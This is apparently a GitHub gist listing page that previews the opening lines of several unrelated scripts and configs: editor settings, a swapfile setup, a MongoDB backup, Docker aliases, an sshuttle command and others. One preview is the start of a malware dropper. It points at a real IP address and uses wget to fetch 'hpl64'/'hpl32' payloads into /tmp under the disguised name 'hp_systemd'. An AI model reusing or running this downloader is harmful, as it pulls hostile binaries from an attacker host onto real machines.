This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"[clojure]": { | |
"editor.autoClosingBrackets": "always", | |
"editor.autoClosingOvertype": "always", | |
"editor.formatOnPaste": true, | |
"editor.defaultFormatter": "betterthantomorrow.calva" | |
}, | |
"calva.prettyPrintingOptions": { | |
"enabled": true, | |
"width": 120, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from selenium import webdriver | |
from selenium.webdriver.common.by import By | |
import time | |
import notify2 | |
import os | |
driver = webdriver.Chrome() | |
notify2.init("Python Notification") | |
while True: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
<plist version="1.0"> | |
<dict> | |
<key>Label</key> | |
<string>nlimit</string> | |
<key>ProgramArguments</key> | |
<array> | |
<string>launchctl</string> | |
<string>limit</string> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dd if=/dev/zero of=/swapfile bs=1024 count=$((1024 * 1024 * 4)) | |
chown root:root /swapfile | |
chmod 0600 /swapfile | |
mkswap /swapfile | |
swapon /swapfile | |
echo "/swapfile none swap sw 0 0" >> /etc/fstab |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
MONGO_DATABASE="db_name" | |
INSTANCE_NAME="instance_name" | |
MONGO_HOST="127.0.0.1" | |
MONGO_PORT="27017" | |
TIMESTAMP=`date +%F-%H%M` | |
MONGODUMP_PATH="/usr/bin/mongodump" | |
BACKUPS_DIR="./path/$INSTANCE_NAME" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo yum install -y cloud-utils-growpart | |
# You can use lsblk command to check the total available space of you disk. | |
# growpart is used to to expand a partition to the whole disk (expand sda1 to sda) | |
# xfs_growfs is used to resize and apply the changes | |
# df -h | |
# For more informations : https://blog.myduniahosting.com/how-to-resize-your-root-diskpartition-online-for-linux/ | |
part=`df --output=source / |grep "/dev/"` | |
if [ ! -z "$part" ] ; then | |
len=${#part} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin | |
HOST=191.101.180.74 | |
CALLBACK=$HOST | |
# DOWNLOADER="curl " | |
DOWNLOADER="wget -q -O - " | |
LFILE_NAME="hp_systemd" | |
# LFILE_PATH=`pwd`/$LFILE_NAME | |
LFILE_PATH=/tmp/$LFILE_NAME | |
DEFAULT_RFILE=$HOST/files/hpl64 | |
OTHERS_RFILE=$HOST/files/hpl32 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alias dockercleancontainers="docker ps -aq | xargs docker rm" | |
alias dockercleanimages="docker images -aq -f dangling=true | xargs docker rmi" | |
alias dockerclean="dockercleancontainers && dockercleanimages" | |
alias docker-killall="docker ps -q | xargs docker kill" | |
# runs docker exec in the latest container | |
function docker-exec-last { | |
docker exec -ti $( docker ps -a -q -l) /bin/bash | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sshuttle -r root@X.X.X.X -x X.X.X.X 0/0 -vv --ssh-cmd 'ssh -i id_rsa' |
NewerOlder